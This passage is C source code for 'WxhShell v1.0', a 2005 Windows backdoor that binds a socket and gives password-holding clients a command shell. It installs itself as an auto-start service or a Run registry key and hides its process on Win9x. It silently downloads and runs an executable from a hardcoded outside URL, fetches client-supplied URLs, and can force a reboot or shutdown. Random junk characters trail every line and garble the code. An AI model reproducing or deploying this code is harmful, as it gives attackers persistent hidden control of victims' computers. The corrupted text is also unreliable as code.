    } UiN6-{v<2  
  // 关机 91}kBj  
  case 'd': { OF1Qr bj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `:fh$V5J>  
    if(Boot(SHUTDOWN)) N=TDywRI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @-aMj  
    else { x^6b$>1  
    closesocket(wsh); kD_616  
    ExitThread(0); L9,O,f  
    } PsyXt5Dk  
    break; ^:^8M4:  
    } _F tI2G9  
  // 获取shell U3M;6j9`  
  case 's': { =.t3|5U8  
    CmdShell(wsh); &u9@FFBT8  
    closesocket(wsh); c7t .  
    ExitThread(0); &>3 AL,  
    break; G!5~`v  
  } Tu}?Q. pKo  
  // 退出 &K-0ld(;  
  case 'x': { G[a&r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [> LL  
    CloseIt(wsh); sx@ %3j  
    break; FYX" q-Z  
    } c"`CvQO64  
  // 离开 _|s'0F/t  
  case 'q': { DkeFDzQ5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x\'95qU  
    closesocket(wsh); 8\$ u/(DX  
    WSACleanup(); oO&R3zA1d  
    exit(1); *QP+p,L*  
    break; 6"u"B-cz  
        } 3s$vaV~(a  
  } 2#`9OLu8X  
  } cxn*!TwDs  
+`'>   
  // 提示信息 >4]y)df5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [^ eQGv[S  
} T6I$7F  
  } zF#:Uc`C5U  
SuFGIb7E  
  return; ,!oR"b!  
} V D.T=(  
fW3NH7aUG  
// shell模块句柄 >A ?,[p`<  
int CmdShell(SOCKET sock) b!c2j   
{ zT ; +akq  
STARTUPINFO si; ]T1\gv1~  
ZeroMemory(&si,sizeof(si)); )5/,B-+O"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UA(&_-C\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F`RPXY`ux  
PROCESS_INFORMATION ProcessInfo; LV`tnt's  
char cmdline[]="cmd"; 4s7&*dJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u/(~ew I  
  return 0; O("13cU  
} 8>a%L?BY  
{P!1VYs5  
// 自身启动模式 4O:y ?D/e  
int StartFromService(void) @"O|[%7e  
{ gfly?)VnF  
typedef struct c, FZ{O@  
{ 0artR~*}  
  DWORD ExitStatus; 9 y{R_  
  DWORD PebBaseAddress; DW0N}>Gp*  
  DWORD AffinityMask; L(t!C~3  
  DWORD BasePriority; NM0s*s42  
  ULONG UniqueProcessId; Fu[<zA^  
  ULONG InheritedFromUniqueProcessId; y4j\y ? T8  
}   PROCESS_BASIC_INFORMATION; qcGsx2  
-DL"Yw}  
PROCNTQSIP NtQueryInformationProcess; dd:vQOF;  
>h{)7Hv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }}gtz-w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4{CeV7  
^~JF7u  
  HANDLE             hProcess; u Xo?  
  PROCESS_BASIC_INFORMATION pbi; x<\5Jrqt  
Df.eb|[{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OZ6:u^OS]  
  if(NULL == hInst ) return 0; xt1Ug~5  
.njk^,N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~UQX t r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LW!>_~g-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %abc -q  
v?(z4oOD/>  
  if (!NtQueryInformationProcess) return 0; (DY&{vudF  
c)4L3W-x=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G|.6%-  
  if(!hProcess) return 0; #&K?N  
aI_[h v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4n6t(/]b<  
,C0D|q4/!.  
  CloseHandle(hProcess); 2U@:.S'K  
=hi{J M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qijQRxS  
if(hProcess==NULL) return 0; dQ=L<{(  
(CInt_dBw~  
HMODULE hMod; o^v]d7I8b  
char procName[255]; Nj=0bg"Qg5  
unsigned long cbNeeded; z^u*e  
i'p6#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z>z9xG'  
:pvB}RYD  
  CloseHandle(hProcess); TGHyBPJb  
)>,ndKT~  
if(strstr(procName,"services")) return 1; // 以服务启动 ?10L *PD@  
Q!70D)O$  
  return 0; // 注册表启动 $;Z0CG  
} @]7s`?  
$g_|U:,  
// 主模块 .S*VYt%K7  
int StartWxhshell(LPSTR lpCmdLine) <FfmDR  
{ 0( q:K6zI}  
  SOCKET wsl; <b-OdOg  
BOOL val=TRUE; |cgc^S/~H  
  int port=0; {$Z S 2 7  
  struct sockaddr_in door; Tly*i"[&  
SvQ!n4 $  
  if(wscfg.ws_autoins) Install(); 17#t7Yk  
V I]~uTV  
port=atoi(lpCmdLine); V-dyeb  
Y2[ik<  
if(port<=0) port=wscfg.ws_port; c!N#nt_<  
7n]ukqZ  
  WSADATA data;  lofP$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X}g"_wN,g>  
z&yVU<;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mh]4K" cs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( 'Ha$O72  
  door.sin_family = AF_INET; *#83U?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 31cZ6[  
  door.sin_port = htons(port); 2=7:6Fw  
Ffig0K+ `  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T%4yPmY  
closesocket(wsl); UJ><B"  
return 1; o:`^1  
} `=%G&_3_<  
8ib e#jlg  
  if(listen(wsl,2) == INVALID_SOCKET) { |? rO  
closesocket(wsl); g%okYH?  
return 1; >Se-5QtLcf  
} Kx02 2rgDU  
  Wxhshell(wsl); E Q]>^VE2B  
  WSACleanup(); j\iNag(   
ySHpN>U  
return 0; Z-3("%_$/  
+V;d^&S  
} }=A+W2D  
Hi^ Z`97c  
// 以NT服务方式启动 rJ(AO'=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Vi#[k n'  
{ C!Jy;Z=+u  
DWORD   status = 0; \+"Jg/)ij  
  DWORD   specificError = 0xfffffff; 5xQ5)B4k  
]e$n;tuW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9<.8mW^68  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?}HZJ@:lB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G "ixw  
  serviceStatus.dwWin32ExitCode     = 0; #'. '|z  
  serviceStatus.dwServiceSpecificExitCode = 0; 5t|$Yt[  
  serviceStatus.dwCheckPoint       = 0; LI>Bl  
  serviceStatus.dwWaitHint       = 0; <?%49  
:XOjS[wBm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %4})_h?j  
  if (hServiceStatusHandle==0) return; KQ0f2?  
>:h&5@^ j$  
status = GetLastError(); lQxEiDIL  
  if (status!=NO_ERROR) bnN&E?{hF1  
{ W9]0X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *0m|`- T  
    serviceStatus.dwCheckPoint       = 0; 3;88a!AA!  
    serviceStatus.dwWaitHint       = 0; mR$0Ij/v  
    serviceStatus.dwWin32ExitCode     = status; O"1HO[  
    serviceStatus.dwServiceSpecificExitCode = specificError; S[{,+{b0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qB+OxyT&  
    return; SeuDJxqopD  
  } !Ej?9LHo  
[LrO"9q(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; # )s +I2  
  serviceStatus.dwCheckPoint       = 0; iLNO}EUL  
  serviceStatus.dwWaitHint       = 0; O^8=Xj#}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zzmo7kFx3  
} 7!;zkou  
V P(JV  
// 处理NT服务事件,比如:启动、停止 Jl|^^?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G?!8T91;  
{ *+(eH#_2/  
switch(fdwControl) AC!yc(^<  
{ nI] zRduC  
case SERVICE_CONTROL_STOP: }"[/BT5t  
  serviceStatus.dwWin32ExitCode = 0; i=&]%T6Qk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /J9Or{#r  
  serviceStatus.dwCheckPoint   = 0; 0IZF%`  
  serviceStatus.dwWaitHint     = 0; X{:3UTBR  
  { ,; Uf>8~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Hs6Kki1  
  } A)&CI6(  
  return; c4zGQoeH:  
case SERVICE_CONTROL_PAUSE: olKM0K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )u0 /s'  
  break; 3J8M0W   
case SERVICE_CONTROL_CONTINUE: 2*] [M,L0c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1$^r@rP  
  break; /FjdcH=  
case SERVICE_CONTROL_INTERROGATE: Tl#2w=  
  break; TD78&a#  
}; K[x=knFO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;wTc_i  
} &he:_p$x  
@LSX@V   
// 标准应用程序主函数 f{u S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;f=.SJF  
{ GL,[32~C  
4J?\JcGs  
// 获取操作系统版本 /2MZH  
OsIsNt=GetOsVer(); 8~T=p:z'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tY:,9eh7B  
_xBhMu2f  
  // 从命令行安装 Mb45UG#2  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZE1${QFkG  
B>sQcZ:  
  // 下载执行文件 hjhZ":I.  
if(wscfg.ws_downexe) { BqDsf5}jpA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JB=L{P J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 43<i3O  
} 3{$>-d  
NiQ Y3Nj  
if(!OsIsNt) { [ $"  
// 如果时win9x,隐藏进程并且设置为注册表启动 #K iqV6E  
HideProc(); %a:T9v  
StartWxhshell(lpCmdLine); @VyNe(U  
} l}k'ZX4  
else mx#)iHY  
  if(StartFromService()) sCp)o,;  
  // 以服务方式启动 hegH^IN M  
  StartServiceCtrlDispatcher(DispatchTable); ej1WkaR8  
else d(Hqj#`-31  
  // 普通方式启动 0fK#:6  
  StartWxhshell(lpCmdLine); (:h&c6'S)b  
=W>a~e]/  
return 0; T0.sL9  
} e E(+  
0QxBC7` qp  
t:xTmK&vt  
=k;X}/  
=========================================== OMd:#cWsQ  
(+<66 T O  
5=}CZYWB  
(f~}5O<  
hZ.](rD  
 kKY,&Fn-  
" F8M};&=*1r  
Zq H-]?)  
#include <stdio.h> y,@yaM}-/K  
#include <string.h> . ~a~(|  
#include <windows.h> M@p<L VP  
#include <winsock2.h> ?6L8#"=  
#include <winsvc.h> 9e}%2,  
#include <urlmon.h> d`% 7Pk  
9[DlJ@T}  
#pragma comment (lib, "Ws2_32.lib") <*P)"G  
#pragma comment (lib, "urlmon.lib") .ud&$-[a  
xsNOjHk  
#define MAX_USER   100 // 最大客户端连接数 fzAkUvo  
#define BUF_SOCK   200 // sock buffer woF {O)~X  
#define KEY_BUFF   255 // 输入 buffer 1/6}E]-F  
DF-.|-^9I  
#define REBOOT     0   // 重启 sP~xe(  
#define SHUTDOWN   1   // 关机 J,s:CBCGL  
FMzG6nrdBN  
#define DEF_PORT   5000 // 监听端口 " BLJh)i  
NbCIL8f]  
#define REG_LEN     16   // 注册表键长度 P m&^rC;  
#define SVC_LEN     80   // NT服务名长度 5H|7DVG  
 =WEDQ\ c  
// 从dll定义API `.]oH1\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nT(AO-Ue^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y(E<MRd8V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z|)1ftcC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {~G~=sC$  
Ll VbY=EX7  
// wxhshell配置信息 ?crK613 t  
struct WSCFG { l-x-  
  int ws_port;         // 监听端口 |CQ0{1R1  
  char ws_passstr[REG_LEN]; // 口令 F(^#_tXP  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9E4^hkD&  
  char ws_regname[REG_LEN]; // 注册表键名 +At0V(  
  char ws_svcname[REG_LEN]; // 服务名 G]mD_J1$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ULs'oT)K;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2OqEyXh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OI3j!L2f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OKk" S_`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `DM)tm3&m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d#W^S[[  
Lf%}\0:  
}; ml!c0<  
)h{+pK  
// default Wxhshell configuration kpNp}b8']  
struct WSCFG wscfg={DEF_PORT, tZFpxyF  
    "xuhuanlingzhe", 'Asr,[]?  
    1, ( )f)  
    "Wxhshell", TefPxvd  
    "Wxhshell", )HvB ceN  
            "WxhShell Service", -"^xg"  
    "Wrsky Windows CmdShell Service", rhly.f7N=A  
    "Please Input Your Password: ", u g;~dhe~  
  1, LB9W.cA   
  "http://www.wrsky.com/wxhshell.exe", T21?~jS  
  "Wxhshell.exe" `0MQL@B  
    }; p _3xW{I  
zJ:%iL@  
// 消息定义模块 xuVc1jJH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 17 0r5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7#7|+%W0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rp2g./2  
char *msg_ws_ext="\n\rExit."; IYH4@v/#  
char *msg_ws_end="\n\rQuit."; 5g$>J)Ry  
char *msg_ws_boot="\n\rReboot..."; /-WmOn*  
char *msg_ws_poff="\n\rShutdown..."; ;d_<6|*M  
char *msg_ws_down="\n\rSave to "; <=w!:   
!4 lN[  
char *msg_ws_err="\n\rErr!"; 4gWlSm)  
char *msg_ws_ok="\n\rOK!"; Lw1[)Vk}E  
)r)ZmS5O  
char ExeFile[MAX_PATH]; 8#o2qQ2+  
int nUser = 0; \w(0k^<7  
HANDLE handles[MAX_USER]; wjgFe]  
int OsIsNt; y0/FyQs  
` K0PLxSv  
SERVICE_STATUS       serviceStatus; 6BM$u v4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S1m5z,G  
#EB Rc4>,  
// 函数声明 D(&WEmm\B  
int Install(void); F~bDg tN3  
int Uninstall(void);  !$!%era`  
int DownloadFile(char *sURL, SOCKET wsh); iM6(bmc.  
int Boot(int flag); b*{UO  
void HideProc(void); $j v"$0Fc  
int GetOsVer(void); <HIM k  
int Wxhshell(SOCKET wsl); ]<r.{EJ  
void TalkWithClient(void *cs); |`{$Ego:  
int CmdShell(SOCKET sock); [X8EfU}  
int StartFromService(void); #v9+9X`1L  
int StartWxhshell(LPSTR lpCmdLine); IY mkZ?cW  
HS\'{4P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bw+IH-b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "pH;0[r]  
' ~fP#y  
// 数据结构和表定义 v\?l+-A? y  
SERVICE_TABLE_ENTRY DispatchTable[] = ;cp||uO  
{ 6K=}n] n  
{wscfg.ws_svcname, NTServiceMain}, D]|{xKC}  
{NULL, NULL} kc}|L9  
}; UFUEY/q  
NLxR6O4}8  
// 自我安装 "ctZ"*  
int Install(void) 9U=6l]Np  
{ P97i<pB Y_  
  char svExeFile[MAX_PATH]; gkKNOus  
  HKEY key; BW`;QF<  
  strcpy(svExeFile,ExeFile); U)Tl<l<  
vz1I/IdTd  
// 如果是win9x系统,修改注册表设为自启动 #TH(:I=[  
if(!OsIsNt) { 5j9%W18  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s~ o\j/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9|OOT[  
  RegCloseKey(key); nQa:t. rC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YQD/vc~8G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~@[<y1g?nG  
  RegCloseKey(key); GJHJ?^%  
  return 0; [qk c6sqo  
    } (XFF}~>B.  
  } +RkXe;q  
} K,*-Y)v2W  
else { -7%dgY(  
aYWUwYB$  
// 如果是NT以上系统,安装为系统服务 /~c9'38  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fzy#!^9Nu  
if (schSCManager!=0) 1&9w]\Ae7l  
{ wByTNA7  
  SC_HANDLE schService = CreateService 6VJS l%X  
  ( pqju@FD *  
  schSCManager, D>Rlm,U  
  wscfg.ws_svcname, '- #QK'p  
  wscfg.ws_svcdisp, U%;E:|  
  SERVICE_ALL_ACCESS, >*n4j:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U9awN&1([  
  SERVICE_AUTO_START, eYUq0~3  
  SERVICE_ERROR_NORMAL, l k /Ke  
  svExeFile, |_ U!i  
  NULL, W%o! m,zFM  
  NULL, *Gj`1# Z$  
  NULL, Ag8lI+ h  
  NULL, 1Y~'U =9  
  NULL 4-$kc wA  
  ); U:[CcN/~3  
  if (schService!=0) 9JJ6$cLF  
  { s%6L94\t  
  CloseServiceHandle(schService); C^,J 6;'  
  CloseServiceHandle(schSCManager); }ov>b2H#<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y6MkaHW[m  
  strcat(svExeFile,wscfg.ws_svcname); B+pLW/4l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wvl'O'R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =@X?$>'  
  RegCloseKey(key); Y@T$O<*  
  return 0; 1' dZ?`O  
    } m#RMd,'X  
  } N$.ls48a4-  
  CloseServiceHandle(schSCManager); 7;] IlR6  
} ejbtdU8N<  
} "1%k"+&  
<DII%7q,6/  
return 1; PGVP0H+RV  
} U#XW}T=|  
:/RvtmW  
// 自我卸载 ZZfi,0R  
int Uninstall(void) N.SV*G @  
{ #c'}_s2F[  
  HKEY key; aQzmobleep  
{BJH}vV1)  
if(!OsIsNt) { #Pg?T%('`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h53G$Ol.  
  RegDeleteValue(key,wscfg.ws_regname); 4! F$nmG)  
  RegCloseKey(key); Z1;+a+S=z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `R lWhdE  
  RegDeleteValue(key,wscfg.ws_regname); -Hy> z  
  RegCloseKey(key); *e<'|Kq  
  return 0; 0}T 56aD=!  
  } O(_f&a  
} fWF!%|L  
} 6{fo.M?  
else { f}?p Y"yvO  
^1aY,6I:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &W&A88FfZU  
if (schSCManager!=0) sAZL,w  
{ Qk@BM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /1=x8Sb  
  if (schService!=0) n^l5M^.  
  { I+jc  
  if(DeleteService(schService)!=0) { |O"Pb`V+  
  CloseServiceHandle(schService); 'gsO}xj  
  CloseServiceHandle(schSCManager); {e0aH `me  
  return 0; !thFayq  
  } Z0wH%o\  
  CloseServiceHandle(schService); T/J1 b-  
  } oDG BC  
  CloseServiceHandle(schSCManager); F:.8O ,%u  
} !9j6l 0  
} *0r!eD   
c]ga) A(  
return 1; 2<V`  
} G,(Xz"`,  
gAsjkNt?  
// 从指定url下载文件 >Tn[CgH]7  
int DownloadFile(char *sURL, SOCKET wsh) Dr}elR>~G=  
{ K;TTGK  
  HRESULT hr; !&v"+ K3lU  
char seps[]= "/"; avXBCvP+h  
char *token; )k `+9}OO  
char *file; i A'p!l |P  
char myURL[MAX_PATH]; jo0XOs  
char myFILE[MAX_PATH]; XqcNFSo)  
-YipPo"a  
strcpy(myURL,sURL); vQDR;T"]  
  token=strtok(myURL,seps); ye| 2gH  
  while(token!=NULL) %fh-x(4v  
  { S@4bpnhK  
    file=token; (YYwn@NGj  
  token=strtok(NULL,seps); 1Va@w  
  } 4!?4Tc!X  
e.!~7c_z?  
GetCurrentDirectory(MAX_PATH,myFILE); clIn}wQ  
strcat(myFILE, "\\"); 4k6:   
strcat(myFILE, file); = mhg@N4  
  send(wsh,myFILE,strlen(myFILE),0); wFBSux$  
send(wsh,"...",3,0); MA7&fNjB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pT;xoe   
  if(hr==S_OK) l@@ qpaH  
return 0; L|A1bxt  
else SMQC/t]HT  
return 1; @,pn/[  
2d&HSW  
} "YV vmCp  
]v$2JgF]@  
// 系统电源模块 #Jfmt~ks '  
int Boot(int flag) A5G@u}YS5  
{ )/bv@Am  
  HANDLE hToken; Ek '% % %  
  TOKEN_PRIVILEGES tkp; \6/!{D,  
 w4UJXc  
  if(OsIsNt) { u>2opI~m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yJ8_<A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S&'-wA Ed  
    tkp.PrivilegeCount = 1; o~VZ%B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m khp@^5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,u.A[{@py  
if(flag==REBOOT) { !\q'{x5C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Acb %)Y  
  return 0; OX.g~M ig|  
} ?"p.Gy)  
else { 8oJp_sw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) biH ZyUJ  
  return 0; BM02k\%  
} =>xyJ->R  
  } ZgxpHo  
  else { HB}iT1.`  
if(flag==REBOOT) { )79F"ltz h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /,ISx }  
  return 0; N9O}6  
} ?a~#`<  
else { c+UZ UgP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~fz9PoC  
  return 0; m =MM  
} -QQU>_  
} e]7J_9t@  
Gg5>~"pb  
return 1; .[vYT.LE  
} Z7dVy8J  
x<) T,c5Y  
// win9x进程隐藏模块 ODPWFdRar  
void HideProc(void) G5$YXNV  
{ 5g phza  
PtOYlZTe?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2| ERif;)  
  if ( hKernel != NULL ) -p20UP 1I  
  { RG`eNRTQ%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?#u_x4==e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xx[l#+:c  
    FreeLibrary(hKernel); h x hl  
  } _RG2I)P  
dijHi  
return; bO+L#Kf  
} uBo~PiJ2"  
N-Sjd%Z  
// 获取操作系统版本 2?c%<_jPA  
int GetOsVer(void) ;VPYWss  
{ ljk,R G  
  OSVERSIONINFO winfo; B..> *Xb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zR }vw{  
  GetVersionEx(&winfo); @}A3ie'w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uSNlI78D  
  return 1; 8Y~\:3&1<  
  else ~G8haN4  
  return 0; <f@ A\  
} -K iI&Q  
O[HBw~  
// 客户端句柄模块 7u[$  
int Wxhshell(SOCKET wsl) lBO x B/`  
{ v c b}Gk  
  SOCKET wsh; ~> 5  
  struct sockaddr_in client; AF"XsEt.e  
  DWORD myID; W^1)70<y  
M[Mx g  
  while(nUser<MAX_USER) WizVw&Iv  
{ QZ_8r#2x  
  int nSize=sizeof(client); Cq<k(TKAX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zs}EGC~&  
  if(wsh==INVALID_SOCKET) return 1; )|L#i2?:  
-o`|A767  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d{RMX<;G  
if(handles[nUser]==0) WD?COUEox  
  closesocket(wsh); 4Pr@<S"U  
else p`oHF  5  
  nUser++; &uG@I=}TIY  
  } %CG=mTP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *&rV}vVP^  
5@{~8 30  
  return 0; KvuM{UI5  
} RRR=R]  
)zvjsx*e=J  
// 关闭 socket 5s1XO*s)>X  
void CloseIt(SOCKET wsh) k\lU Q\/O5  
{ =42NQ{%@;  
closesocket(wsh); .Wvg{ S -  
nUser--; o\:vxj+%*  
ExitThread(0); f5hf<R),A  
} *^.OqbO[U  
c$R<j'7  
// 客户端请求句柄 ')~[J$qz  
void TalkWithClient(void *cs) K7]IAV  
{ lX%e  
{#}?-X  
  SOCKET wsh=(SOCKET)cs; /7yd&6`I  
  char pwd[SVC_LEN]; hO4* X  
  char cmd[KEY_BUFF]; p"=8{LrO  
char chr[1]; .oxeo 0@~  
int i,j; z#{%[X2  
TDHS/"MbA7  
  while (nUser < MAX_USER) { hZeF? G)L'  
jMQ7^(9-  
if(wscfg.ws_passstr) { #%SF2PB;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $O^U"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6ragRS/'x  
  //ZeroMemory(pwd,KEY_BUFF); {DbWk>[DkG  
      i=0; -owap-Va  
  while(i<SVC_LEN) { h v/+  
p$@l,4@{  
  // 设置超时 !jyy`q=  
  fd_set FdRead; '| bHu  
  struct timeval TimeOut; =fy'w3m  
  FD_ZERO(&FdRead); I8{ohFFo  
  FD_SET(wsh,&FdRead); |NXe{q7{  
  TimeOut.tv_sec=8; ='\E+*[$I  
  TimeOut.tv_usec=0; .*g^ i`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h&:6S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Sjg  
WO"<s{v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V?o%0V  
  pwd=chr[0]; h9WyQl7  
  if(chr[0]==0xd || chr[0]==0xa) { L$ ZZ]?7j  
  pwd=0; pJ H@v &a  
  break; ~X%W2N2  
  } i$S*5+  
  i++; Kma-W{vGD  
    } SoL"M[O  
{xJ<)^fD8  
  // 如果是非法用户,关闭 socket uPBtR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =U+_;;F=  
} g WHjI3;  
{ ^ @c96&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^F`\B'8MF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lxXIu8  
s!\G i5b  
while(1) { R)BH:wg"  
vON1\$bu `  
  ZeroMemory(cmd,KEY_BUFF); cK~VNzsz  
3pI)  
      // 自动支持客户端 telnet标准   299uZz}Y  
  j=0; yh"48@L'D  
  while(j<KEY_BUFF) { ;0]s:0WD0P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \4roM1&[  
  cmd[j]=chr[0]; z)XI A)i6  
  if(chr[0]==0xa || chr[0]==0xd) { I<LIw8LI  
  cmd[j]=0; 1\ab3n  
  break; )5U2-g#U  
  } DYaOlT(rE  
  j++; o&U/e\zy  
    } $JZ}=\n7  
!t+eJj  
  // 下载文件 RL~]mI!U  
  if(strstr(cmd,"http://")) { 6SN$El 0|G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (ixlFGvEq  
  if(DownloadFile(cmd,wsh)) <Z\j#p:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B*T;DE   
  else >`u/#mrd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g,d'&r"JWt  
  } vFg X]&bE  
